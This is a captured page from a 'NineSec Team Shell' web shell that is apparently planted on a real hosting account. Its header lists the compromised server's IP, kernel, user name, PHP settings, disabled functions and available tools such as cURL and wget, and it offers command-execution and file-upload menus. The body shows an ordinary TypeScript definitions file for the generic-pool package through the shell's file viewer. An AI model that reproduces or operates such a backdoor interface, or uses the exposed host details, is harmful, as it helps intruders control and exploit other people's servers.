NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/generic-pool/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/generic-pool/index.d.ts
// Type definitions for node-pool 3.1
// Derived from https://github.com/DefinitelyTyped/DefinitelyTyped
// -> https://github.com/DefinitelyTyped/DefinitelyTyped/blob/454dcbcbe5e932010b128dca9793758dd28adb45/types/generic-pool/index.d.ts

/// <reference types="node" />

import { EventEmitter } from "events";

export class Pool<T> extends EventEmitter {
    spareResourceCapacity: number;
    size: number;
    available: number;
    borrowed: number;
    pending: number;
    max: number;
    min: number;

    start(): void;
    acquire(priority?: number): Promise<T>;
    release(resource: T): Promise<void>;
    destroy(resource: T): Promise<void>;
    drain(): Promise<void>;
    clear(): Promise<void>;
    use<U>(cb: (resource: T) => U | Promise<U>): Promise<U>;
    isBorrowedResource(resource: T): boolean;
    ready(): Promise<void>;
}

export interface Factory<T> {
    create(): Promise<T>;
    destroy(client: T): Promise<void>;
    validate?(client: T): Promise<boolean>;
}

export interface Options {
    max?: number;
    min?: number;
    maxWaitingClients?: number;
    testOnBorrow?: boolean;
    testOnReturn?: boolean;
    acquireTimeoutMillis?: number;
    fifo?: boolean;
    priorityRange?: number;
    autostart?: boolean;
    evictionRunIntervalMillis?: number;
    numTestsPerEvictionRun?: number;
    softIdleTimeoutMillis?: number;
    idleTimeoutMillis?: number;
}

export function createPool<T>(factory: Factory<T>, opts?: Options): Pool<T>;

NineSec Team - 2022